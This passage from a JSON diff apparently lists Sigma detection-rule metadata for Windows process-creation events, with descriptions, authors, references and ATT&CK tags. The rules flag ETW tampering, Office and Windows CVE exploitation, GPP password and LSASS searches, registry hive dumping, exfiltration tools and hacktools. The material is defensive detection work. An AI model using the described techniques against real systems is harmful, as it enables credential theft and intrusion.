"https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "41421f44-58f9-455d-838a-c398859841d4", + "value": "COMPlus_ETWEnabled Command Line Arguments" + }, + { + "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", + "meta": { + "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/03/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_etw_trace_evasion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "https://abuse.io/lockergoga.txt", + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ] + }, + "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", + "value": "Disable of ETW Trace" + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_evil_winrm.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", + "https://github.com/Hackplayers/evil-winrm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", + "value": "WinRM Access with Evil-WinRM" + }, + { + "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", + "value": "Execution via MSSQL Xp_cmdshell Stored Procedure" + }, + { + "description": "Execution of well known tools for data exfiltration and tunneling", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate Administrator using tools" + ], + "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1041", + "attack.t1572", + "attack.t1071.001" + ] + }, + "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", + "value": "Exfiltration and Tunneling Tools Execution" + }, + { + "description": "Detects the use of various cli utility related to web request exfiltrating data", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_exfil_data_via_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", + "value": "Possible Exfiltration Of Data Via CLI" + }, + { + "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/07/30", + "falsepositive": [ + "System administrator Usage" + ], + "filename": "proc_creation_win_expand_cabinet_files.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", + "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "9f107a84-532c-41af-b005-8d12a607639f", + "value": "Cabinet File Expansion" + }, + { + "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/02/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2015_1641.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", + "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", + "value": "Exploit for CVE-2015-1641" + }, + { + "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/02/22", + "falsepositive": [ + "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" + ], + "filename": "proc_creation_win_exploit_cve_2017_0261.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", + "value": "Exploit for CVE-2017-0261" + }, + { + "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/11/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2017_11882.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", + "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", + "value": "Droppers Exploiting CVE-2017-11882" + }, + { + "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2017_8759.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.t1204.002", + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", + "value": "Exploit for CVE-2017-8759" + }, + { + "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", + "meta": { + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/11/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2019_1378.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.execution", + "attack.t1059.003", + "attack.t1574", + "cve.2019.1378" + ] + }, + "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", + "value": "Exploiting SetupComplete.cmd CVE-2019-1378" + }, + { + "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/11/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2019_1388.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", + "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", + "value": "Exploiting CVE-2019-1388" + }, + { + "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/03/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_cve_2020_10189.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.s0190", + "cve.2020.10189" + ] + }, + "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", + "value": "Exploited CVE-2020-10189 Zoho ManageEngine" + }, + { + "description": "Detects new commands that add new printer port which point to suspicious file", + "meta": { + "author": "EagleEye Team, Florian Roth", + "creation_date": "2020/05/13", + "falsepositive": [ + "New printer port install on host" + ], + "filename": "proc_creation_win_exploit_cve_2020_1048.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", + "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)" + }, + { + "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/15", + "falsepositive": [ + "Unknown but benign sub processes of the Windows DNS service dns.exe" + ], + "filename": "proc_creation_win_exploit_cve_2020_1350.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", + "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", + "value": "DNS RCE CVE-2020-1350" + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", + "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379" + }, + { + "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_exploit_systemnightmare.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GossiTheDog/SystemNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", + "value": "SystemNightmare Exploitation Script Execution" + }, + { + "description": "Rename as a legitimate Sysinternals Suite tool to evade detection", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_false_sysinternalsuite.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ] + }, + "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", + "value": "False Sysinternals Suite Tools" + }, + { + "description": "Detects a file or folder's permissions being modified.", + "meta": { + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "creation_date": "2019/10/23", + "falsepositive": [ + "Users interacting with the files on their own (unlikely unless privileged users).", + "Dynatrace app" + ], + "filename": "proc_creation_win_file_permission_modifications.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ] + }, + "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", + "value": "File or Folder Permissions Modifications" + }, + { + "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", + "meta": { + "author": "frack113", + "creation_date": "2021/12/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_findstr_gpp_passwords.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ] + }, + "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", + "value": "Findstr GPP Passwords" + }, + { + "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_findstr_lsass.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ] + }, + "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", + "value": "Findstr LSASS" + }, + { + "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_findstr_recon_everyone.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ] + }, + "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", + "value": "Suspicious Recon Activity Using Findstr Keywords" + }, + { + "description": "Detects attempts to disable the Windows Firewall using PowerShell", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/14", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", + "value": "Windows Firewall Disabled via PowerShell" + }, + { + "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/09/02", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_frp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://asec.ahnlab.com/en/38156/", + "https://github.com/fatedier/frp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", + "value": "Fast Reverse Proxy (FRP)" + }, + { + "description": "Attackers may leverage fsutil to enumerated connected drives.", + "meta": { + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2022/03/29", + "falsepositive": [ + "Certain software or administrative tasks may trigger false positives." + ], + "filename": "proc_creation_win_fsutil_drive_enumeration.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/", + "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1120" + ] + }, + "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", + "value": "Fsutil Drive Enumeration" + }, + { + "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", + "meta": { + "author": "frack113", + "creation_date": "2022/03/02", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", + "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", + "value": "Fsutil Behavior Set SymlinkEvaluation" + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/10", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_get_localgroup_member_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ] + }, + "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", + "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet" + }, + { + "description": "Detects the execution GMER tool based on image and hash fields.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_gmer_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.gmer.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", + "value": "GMER - Rootkit Detector and Remover Execution" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_gotoopener.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", + "value": "Use of GoToAssist Remote Access Software" + }, + { + "description": "Dump sam, system or security hives using REG.exe utility", + "meta": { + "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" + ], + "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "car.2013-07-001" + ] + }, + "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", + "value": "Grabbing Sensitive Hives via Reg Utility" + }, + { + "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/04", + "falsepositive": [ + "Legitimate use of one of these tools" + ], + "filename": "proc_creation_win_hacktool_imphashes.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" + ], + "tags": "No established tags" + }, + "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", + "value": "Windows Hacktool Imphash" + }, + { + "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/31", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_adcspwn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/bats3c/ADCSPwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1557.001" + ] + }, + "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", + "value": "ADCSPwn Hack Tool" + }, + { + "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/20", + "falsepositive": [ + "Other programs that use these command line option and accepts an 'All' parameter" + ], + "filename": "proc_creation_win_hack_bloodhound.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/BloodHoundAD/BloodHound", + "https://github.com/BloodHoundAD/SharpHound", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", + "value": "Bloodhound and Sharphound Hack Tool" + }, + { + "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_cube0x0_tools.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/cube0x0", + "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" + ], + "tags": "No established tags" + }, + "uuid": 